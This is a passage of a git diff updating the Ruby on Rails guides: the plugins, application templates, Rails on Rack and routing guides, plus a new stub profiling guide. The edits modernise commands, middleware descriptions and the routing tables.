-for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+This plugin will expect that you've added a method to your model named `last_squawk`. However, the
+plugin users might have already defined a method on their model named `last_squawk` that they use
+for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`.
 
 To start out, write a failing test that shows the behavior you'd like:
 
@@ -190,16 +198,16 @@ When you run `rake`, you should see the following:
 
 ```
     1) Error:
-  test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+  ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
   NameError: uninitialized constant ActsAsYaffleTest::Hickwall
-      test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+    /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
 
     2) Error:
-  test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+  ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
   NameError: uninitialized constant ActsAsYaffleTest::Wickwall
-      test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+    /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
 
-  5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+  4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
 ```
 
 This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
@@ -208,17 +216,16 @@ test/dummy directory:
 
 ```bash
 $ cd test/dummy
-$ rails generate model Hickwall last_squawk:string
-$ rails generate model Wickwall last_squawk:string last_tweet:string
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
 ```
 
 Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
+and migrating the database. First, run:
 
 ```bash
 $ cd test/dummy
-$ rake db:migrate
-$ rake db:test:prepare
+$ bin/rake db:migrate
 ```
 
 While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
@@ -239,7 +246,7 @@ end
 
 ```
 
-We will also add code to define the acts_as_yaffle method.
+We will also add code to define the `acts_as_yaffle` method.
 
 ```ruby
 # yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -265,22 +272,22 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun
 
 ```
     1) Error:
-  test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
-  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
-      /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
-      test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+  ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e3b218>
+    activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing'
+    /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
 
     2) Error:
-  test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
-  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
-      Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
-      test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+  ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e409c0>
+    activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing'
+    /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'  
 
-  5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+  4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
 
 ```
 
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
 
 ```ruby
 # yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -304,10 +311,10 @@ end
 ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
 ```
 
-When you run `rake` you should see the tests all pass:
+When you run `rake`, you should see the tests all pass:
 
 ```bash
-  5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+  4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
 ```
 
 ### Add an Instance Method
@@ -381,10 +388,14 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
 Run `rake` one final time and you should see:
 
 ```
-  7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+  6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
 ```
 
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
 
 Generators
 ----------
@@ -392,7 +403,7 @@ Generators
 Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
 the creation of generators can be found in the [Generators Guide](generators.html)
 
-Publishing your Gem
+Publishing Your Gem
 -------------------
 
 Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
@@ -405,12 +416,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
 After running `bundle install`, your gem functionality will be available to the application.
 
 When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
 
 RDoc Documentation
 ------------------
 
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
 
 The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
 
@@ -424,12 +435,12 @@ Once your README is solid, go through and add rdoc comments to all of the method
 Once your comments are good to go, navigate to your plugin directory and run:
 
 ```bash
-$ rake rdoc
+$ bundle exec rake rdoc
 ```
 
 ### References
 
 * [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
 * [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
-* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20)
+* [Gemspec Reference](http://guides.rubygems.org/specification-reference/)
 * [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins)
diff --git a/guides/source/profiling.md b/guides/source/profiling.md
new file mode 100644
index 0000000000..ce093f78ba
--- /dev/null
+++ b/guides/source/profiling.md
@@ -0,0 +1,16 @@
+*DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+A Guide to Profiling Rails Applications
+=======================================
+
+This guide covers built-in mechanisms in Rails for profiling your application.
+
+After reading this guide, you will know:
+
+* Rails profiling terminology.
+* How to write benchmark tests for your application.
+* Other benchmarking approaches and plugins.
+
+--------------------------------------------------------------------------------
+
+
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index 711d910184..b3e1874048 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Rails Application Templates
 ===========================
 
@@ -23,8 +25,8 @@ $ rails new blog -m http://example.com/template.rb
 You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
 
 ```bash
-$ rake rails:template LOCATION=~/template.rb
-$ rake rails:template LOCATION=http://example.com/template.rb
+$ bin/rake rails:template LOCATION=~/template.rb
+$ bin/rake rails:template LOCATION=http://example.com/template.rb
 ```
 
 Template API
@@ -38,9 +40,11 @@ generate(:scaffold, "person name:string")
 route "root to: 'people#index'"
 rake("db:migrate")
 
-git :init
-git add: "."
-git commit: %Q{ -m 'Initial commit' }
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
 ```
 
 The following sections outline the primary methods provided by the API:
@@ -78,7 +82,7 @@ end
 
 Adds the given source to the generated application's `Gemfile`.
 
-For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
 
 ```ruby
 add_source "http://code.whytheluckystiff.net"
@@ -228,6 +232,22 @@ git add: "."
 git commit: "-a -m 'Initial commit'"
 ```
 
+### after_bundle(&block)
+
+Registers a callback to be executed after the gems are bundled and binstubs
+are generated. Useful for all generated files to version control:
+
+```ruby
+after_bundle do
+  git :init
+  git add: '.'
+  git commit: "-a -m 'Initial commit'"
+end
+```
+
+The callbacks gets executed even if `--skip-bundle` and/or `--skip-spring` has
+been passed.
+
 Advanced Usage
 --------------
 
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index 642c70fd9d..21be74beba 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Rails on Rack
 =============
 
@@ -18,7 +20,7 @@ Introduction to Rack
 
 Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
 
-- [Rack API Documentation](http://rack.rubyforge.org/doc/)
+* [Rack API Documentation](http://rack.github.io/)
 
 Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
 
@@ -27,10 +29,9 @@ Rails on Rack
 
 ### Rails Application's Rack Object
 
-`ApplicationName::Application` is the primary Rack application object of a Rails
+`Rails.application` is the primary Rack application object of a Rails
 application. Any Rack compliant web server should be using
-`ApplicationName::Application` object to serve a Rails
-application. `Rails.application` refers to the same application object.
+`Rails.application` object to serve a Rails application.
 
 ### `rails server`
 
@@ -62,7 +63,6 @@ Here's how it loads the middlewares:
 ```ruby
 def middleware
   middlewares = []
-  middlewares << [Rails::Rack::Debugger] if options[:debugger]
   middlewares << [::Rack::ContentLength]
   Hash.new(middlewares)
 end
@@ -83,7 +83,7 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi
 # Rails.root/config.ru
 require ::File.expand_path('../config/environment', __FILE__)
 
-use Rack::Debugger
+use Rails::Rack::Debugger
 use Rack::ContentLength
 run Rails.application
 ```
@@ -100,6 +100,10 @@ To find out more about different `rackup` options:
 $ rackup --help
 ```
 
+### Development and auto-reloading
+
+Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.
+
 Action Dispatcher Middleware Stack
 ----------------------------------
 
@@ -112,7 +116,7 @@ NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`,
 Rails has a handy rake task for inspecting the middleware stack in use:
 
 ```bash
-$ rake middleware
+$ bin/rake middleware
 ```
 
 For a freshly generated Rails application, this might produce something like:
@@ -141,10 +145,10 @@ use ActionDispatch::ParamsParser
 use Rack::Head
 use Rack::ConditionalGet
 use Rack::ETag
-run MyApp::Application.routes
+run Rails.application.routes
 ```
 
-Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
 
 ### Configuring Middleware Stack
 
@@ -182,27 +186,26 @@ You can swap an existing middleware in the middleware stack using `config.middle
 config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
 ```
 
-#### Middleware Stack is an Enumerable
+#### Deleting a Middleware
 
-The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods.
-
-Append following lines to your application configuration:
+Add the following lines to your application configuration:
 
 ```ruby
 # config/application.rb
 config.middleware.delete "Rack::Lock"
 ```
 
-And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it.
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` is
+not a part of it.
 
 ```bash
-$ rake middleware
+$ bin/rake middleware
 (in /Users/lifo/Rails/blog)
 use ActionDispatch::Static
 use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
 use Rack::Runtime
 ...
-run Blog::Application.routes
+run Rails.application.routes
 ```
 
 If you want to remove session related middleware, do the following:
@@ -225,116 +228,100 @@ config.middleware.delete "Rack::MethodOverride"
 
 Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
 
- **`ActionDispatch::Static`**
+**`Rack::Sendfile`**
+
+* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option.
 
-* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
+**`ActionDispatch::Static`**
 
- **`Rack::Lock`**
+* Used to serve static files. Disabled if `config.serve_static_files` is `false`.
+
+**`Rack::Lock`**
 
 * Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
 
- **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
 
 * Used for memory caching. This cache is not thread safe.
 
- **`Rack::Runtime`**
+**`Rack::Runtime`**
 
 * Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
 
- **`Rack::MethodOverride`**
+**`Rack::MethodOverride`**
 
 * Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
 
- **`ActionDispatch::RequestId`**
+**`ActionDispatch::RequestId`**
 
 * Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
 
- **`Rails::Rack::Logger`**
+**`Rails::Rack::Logger`**
 
 * Notifies the logs that the request has began. After request is complete, flushes all the logs.
 
- **`ActionDispatch::ShowExceptions`**
+**`ActionDispatch::ShowExceptions`**
 
 * Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
 
- **`ActionDispatch::DebugExceptions`**
+**`ActionDispatch::DebugExceptions`**
 
 * Responsible for logging exceptions and showing a debugging page in case the request is local.
 
- **`ActionDispatch::RemoteIp`**
+**`ActionDispatch::RemoteIp`**
 
 * Checks for IP spoofing attacks.
 
- **`ActionDispatch::Reloader`**
+**`ActionDispatch::Reloader`**
 
 * Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
 
- **`ActionDispatch::Callbacks`**
+**`ActionDispatch::Callbacks`**
 
-* Runs the prepare callbacks before serving the request.
+* Provides callbacks to be executed before and after dispatching the request.
 
- **`ActiveRecord::Migration::CheckPending`**
+**`ActiveRecord::Migration::CheckPending`**
 
 * Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending.
 
- **`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+**`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
 
 * Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
 
- **`ActiveRecord::QueryCache`**
+**`ActiveRecord::QueryCache`**
 
 * Enables the Active Record query cache.
 
- **`ActionDispatch::Cookies`**
+**`ActionDispatch::Cookies`**
 
 * Sets cookies for the request.
 
- **`ActionDispatch::Session::CookieStore`**
+**`ActionDispatch::Session::CookieStore`**
 
 * Responsible for storing the session in cookies.
 
- **`ActionDispatch::Flash`**
+**`ActionDispatch::Flash`**
 
 * Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
 
- **`ActionDispatch::ParamsParser`**
+**`ActionDispatch::ParamsParser`**
 
 * Parses out parameters from the request into `params`.
 
- **`ActionDispatch::Head`**
+**`Rack::Head`**
 
 * Converts HEAD requests to `GET` requests and serves them as so.
 
- **`Rack::ConditionalGet`**
+**`Rack::ConditionalGet`**
 
 * Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
 
- **`Rack::ETag`**
+**`Rack::ETag`**
 
 * Adds ETag header on all String bodies. ETags are used to validate cache.
 
 TIP: It's possible to use any of the above middlewares in your custom Rack stack.
 
-### Using Rack Builder
-
-The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-```ruby
-# config/application.rb
-config.middleware.clear
-```
-
-<br>
-<strong>Add a `config.ru` file to `Rails.root`</strong>
-
-```ruby
-# config.ru
-use MyOwnStackFromScratch
-run Rails.application
-```
-
 Resources
 ---------
 
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 76c4c25108..a689e131ff 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Rails Routing from the Outside In
 =================================
 
@@ -89,15 +91,15 @@ resources :photos
 
 creates seven different routes in your application, all mapping to the `Photos` controller:
 
-| HTTP Verb | Path             | Action  | Used for                                     |
-| --------- | ---------------- | ------- | -------------------------------------------- |
-| GET       | /photos          | index   | display a list of all photos                 |
-| GET       | /photos/new      | new     | return an HTML form for creating a new photo |
-| POST      | /photos          | create  | create a new photo                           |
-| GET       | /photos/:id      | show    | display a specific photo                     |
-| GET       | /photos/:id/edit | edit    | return an HTML form for editing a photo      |
-| PATCH/PUT | /photos/:id      | update  | update a specific photo                      |
-| DELETE    | /photos/:id      | destroy | delete a specific photo                      |
+| HTTP Verb | Path             | Controller#Action | Used for                                     |
+| --------- | ---------------- | ----------------- | -------------------------------------------- |
+| GET       | /photos          | photos#index      | display a list of all photos                 |
+| GET       | /photos/new      | photos#new        | return an HTML form for creating a new photo |
+| POST      | /photos          | photos#create     | create a new photo                           |
+| GET       | /photos/:id      | photos#show       | display a specific photo                     |
+| GET       | /photos/:id/edit | photos#edit       | return an HTML form for editing a photo      |
+| PATCH/PUT | /photos/:id      | photos#update     | update a specific photo                      |
+| DELETE    | /photos/:id      | photos#destroy    | delete a specific photo                      |
 
 NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
 
@@ -138,7 +140,7 @@ Sometimes, you have a resource that clients always look up without referencing a
 get 'profile', to: 'users#show'
 ```
 
-Passing a `String` to `match` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
 
 ```ruby
 get 'profile', to: :show
@@ -152,14 +154,14 @@ resource :geocoder
 
 creates six different routes in your application, all mapping to the `Geocoders` controller:
 
-| HTTP Verb | Path           | Action  | Used for                                      |
-| --------- | -------------- | ------- | --------------------------------------------- |
-| GET       | /geocoder/new  | new     | return an HTML form for creating the geocoder |
-| POST      | /geocoder      | create  | create the new geocoder                       |
-| GET       | /geocoder      | show    | display the one and only geocoder resource    |
-| GET       | /geocoder/edit | edit    | return an HTML form for editing the geocoder  |
-| PATCH/PUT | /geocoder      | update  | update the one and only geocoder resource     |
-| DELETE    | /geocoder      | destroy | delete the geocoder resource                  |
+| HTTP Verb | Path           | Controller#Action | Used for                                      |
+| --------- | -------------- | ----------------- | --------------------------------------------- |
+| GET       | /geocoder/new  | geocoders#new     | return an HTML form for creating the geocoder |
+| POST      | /geocoder      | geocoders#create  | create the new geocoder                       |
+| GET       | /geocoder      | geocoders#show    | display the one and only geocoder resource    |
+| GET       | /geocoder/edit | geocoders#edit    | return an HTML form for editing the geocoder  |
+| PATCH/PUT | /geocoder      | geocoders#update  | update the one and only geocoder resource     |
+| DELETE    | /geocoder      | geocoders#destroy | delete the geocoder resource                  |
 
 NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
 
@@ -183,61 +185,63 @@ You may wish to organize groups of controllers under a namespace. Most commonly,
 
 ```ruby
 namespace :admin do
-  resources :posts, :comments
+  resources :articles, :comments
 end
 ```
 
-This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
+This will create a number of routes for each of the `articles` and `comments` controller. For `Admin::ArticlesController`, Rails will create:
 
-| HTTP Verb | Path                  | Action  | Used for                  |
-| --------- | --------------------- | ------- | ------------------------- |
-| GET       | /admin/posts          | index   | admin_posts_path          |
-| GET       | /admin/posts/new      | new     | new_admin_post_path       |
-| POST      | /admin/posts          | create  | admin_posts_path          |
-| GET       | /admin/posts/:id      | show    | admin_post_path(:id)      |
-| GET       | /admin/posts/:id/edit | edit    | edit_admin_post_path(:id) |
-| PATCH/PUT | /admin/posts/:id      | update  | admin_post_path(:id)      |
-| DELETE    | /admin/posts/:id      | destroy | admin_post_path(:id)      |
+| HTTP Verb | Path                     | Controller#Action      | Named Helper              |
+| --------- | ------------------------ | ---------------------- | ---------------------------- |
+| GET       | /admin/articles          | admin/articles#index   | admin_articles_path          |
+| GET       | /admin/articles/new      | admin/articles#new     | new_admin_article_path       |
+| POST      | /admin/articles          | admin/articles#create  | admin_articles_path          |
+| GET       | /admin/articles/:id      | admin/articles#show    | admin_article_path(:id)      |
+| GET       | /admin/articles/:id/edit | admin/articles#edit    | edit_admin_article_path(:id) |
+| PATCH/PUT | /admin/articles/:id      | admin/articles#update  | admin_article_path(:id)      |
+| DELETE    | /admin/articles/:id      | admin/articles#destroy | admin_article_path(:id)      |
 
-If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use:
+If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you could use:
 
 ```ruby
 scope module: 'admin' do
-  resources :posts, :comments
+  resources :articles, :comments
 end
 ```
 
 or, for a single case:
 
 ```ruby
-resources :posts, module: 'admin'
+resources :articles, module: 'admin'
 ```
 
-If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use:
+If you want to route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix), you could use:
 
 ```ruby
 scope '/admin' do
-  resources :posts, :comments
+  resources :articles, :comments
 end
 ```
 
 or, for a single case:
 
 ```ruby
-resources :posts, path: '/admin/posts'
+resources :articles, path: '/admin/articles'
 ```
 
 In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
 
-| HTTP Verb | Path                  | Action  | Named Helper        |
-| --------- | --------------------- | ------- | ------------------- |
-| GET       | /admin/posts          | index   | posts_path          |
-| GET       | /admin/posts/new      | new     | new_post_path       |
-| POST      | /admin/posts          | create  | posts_path          |
-| GET       | /admin/posts/:id      | show    | post_path(:id)      |
-| GET       | /admin/posts/:id/edit | edit    | edit_post_path(:id) |
-| PATCH/PUT | /admin/posts/:id      | update  | post_path(:id)      |
-| DELETE    | /admin/posts/:id      | destroy | post_path(:id)      |
+| HTTP Verb | Path                     | Controller#Action    | Named Helper           |
+| --------- | ------------------------ | -------------------- | ---------------------- |
+| GET       | /admin/articles          | articles#index       | articles_path          |
+| GET       | /admin/articles/new      | articles#new         | new_article_path       |
+| POST      | /admin/articles          | articles#create      | articles_path          |
+| GET       | /admin/articles/:id      | articles#show        | article_path(:id)      |
+| GET       | /admin/articles/:id/edit | articles#edit        | edit_article_path(:id) |
+| PATCH/PUT | /admin/articles/:id      | articles#update      | article_path(:id)      |
+| DELETE    | /admin/articles/:id      | articles#destroy     | article_path(:id)      |
+
+TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
 
 ### Nested Resources
 
@@ -263,15 +267,15 @@ end
 
 In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
 
-| HTTP Verb | Path                                 | Action  | Used for                                                                   |
-| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- |
-| GET       | /magazines/:magazine_id/ads          | index   | display a list of all ads for a specific magazine                          |
-| GET       | /magazines/:magazine_id/ads/new      | new     | return an HTML form for creating a new ad belonging to a specific magazine |
-| POST      | /magazines/:magazine_id/ads          | create  | create a new ad belonging to a specific magazine                           |
-| GET       | /magazines/:magazine_id/ads/:id      | show    | display a specific ad belonging to a specific magazine                     |
-| GET       | /magazines/:magazine_id/ads/:id/edit | edit    | return an HTML form for editing an ad belonging to a specific magazine     |
-| PATCH/PUT | /magazines/:magazine_id/ads/:id      | update  | update a specific ad belonging to a specific magazine                      |
-| DELETE    | /magazines/:magazine_id/ads/:id      | destroy | delete a specific ad belonging to a specific magazine                      |
+| HTTP Verb | Path                                 | Controller#Action | Used for                                                                   |
+| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- |
+| GET       | /magazines/:magazine_id/ads          | ads#index         | display a list of all ads for a specific magazine                          |
+| GET       | /magazines/:magazine_id/ads/new      | ads#new           | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST      | /magazines/:magazine_id/ads          | ads#create        | create a new ad belonging to a specific magazine                           |
+| GET       | /magazines/:magazine_id/ads/:id      | ads#show          | display a specific ad belonging to a specific magazine                     |
+| GET       | /magazines/:magazine_id/ads/:id/edit | ads#edit          | return an HTML form for editing an ad belonging to a specific magazine     |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id      | ads#update        | update a specific ad belonging to a specific magazine                      |
+| DELETE    | /magazines/:magazine_id/ads/:id      | ads#destroy       | delete a specific ad belonging to a specific magazine                      |
 
 This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
 
@@ -302,7 +306,7 @@ TIP: _Resources should never be nested more than 1 level deep._
 One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
 
 ```ruby
-resources :posts do
+resources :articles do
   resources :comments, only: [:index, :new, :create]
 end
 resources :comments, only: [:show, :edit, :update, :destroy]
@@ -311,7 +315,7 @@ resources :comments, only: [:show, :edit, :update, :destroy]
 This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
 
 ```ruby
-resources :posts do
+resources :articles do
   resources :comments, shallow: true
 end
 ```
@@ -319,7 +323,7 @@ end
 This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:
 
 ```ruby
-resources :posts, shallow: true do
+resources :articles, shallow: true do
   resources :comments
   resources :quotes
   resources :drafts
@@ -330,7 +334,7 @@ The `shallow` method of the DSL creates a scope inside of which every nesting is
 
 ```ruby
 shallow do
-  resources :posts do
+  resources :articles do
     resources :comments
     resources :quotes
     resources :drafts
@@ -338,11 +342,11 @@ shallow do
 end
 ```
 
-There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
 
 ```ruby
 scope shallow_path: "sekret" do
-  resources :posts do
+  resources :articles do
     resources :comments, shallow: true
   end
 end
@@ -350,21 +354,21 @@ end
 
 The comments resource here will have the following routes generated for it:
 
-| HTTP Verb | Path                                   | Named Helper        |
-| --------- | -------------------------------------- | ------------------- |
-| GET       | /posts/:post_id/comments(.:format)     | post_comments       |
-| POST      | /posts/:post_id/comments(.:format)     | post_comments       |
-| GET       | /posts/:post_id/comments/new(.:format) | new_post_comment    |
-| GET       | /sekret/comments/:id/edit(.:format)    | edit_comment        |
-| GET       | /sekret/comments/:id(.:format)         | comment             |
-| PATCH/PUT | /sekret/comments/:id(.:format)         | comment             |
-| DELETE    | /sekret/comments/:id(.:format)         | comment             |
+| HTTP Verb | Path                                         | Controller#Action | Named Helper             |
+| --------- | -------------------------------------------- | ----------------- | ------------------------ |
+| GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path    |
+| POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path    |
+| GET       | /articles/:article_id/comments/new(.:format) | comments#new      | new_article_comment_path |
+| GET       | /sekret/comments/:id/edit(.:format)          | comments#edit     | edit_comment_path        |
+| GET       | /sekret/comments/:id(.:format)               | comments#show     | comment_path             |
+| PATCH/PUT | /sekret/comments/:id(.:format)               | comments#update   | comment_path             |
+| DELETE    | /sekret/comments/:id(.:format)               | comments#destroy  | comment_path             |
 
 The `:shallow_prefix` option adds the specified parameter to the named helpers:
 
 ```ruby
 scope shallow_prefix: "sekret" do
-  resources :posts do
+  resources :articles do
     resources :comments, shallow: true
   end
 end
@@ -372,19 +376,19 @@ end
 
 The comments resource here will have the following routes generated for it:
 
-| HTTP Verb | Path                                   | Named Helper        |
-| --------- | -------------------------------------- | ------------------- |
-| GET       | /posts/:post_id/comments(.:format)     | post_comments       |
-| POST      | /posts/:post_id/comments(.:format)     | post_comments       |
-| GET       | /posts/:post_id/comments/new(.:format) | new_post_comment    |
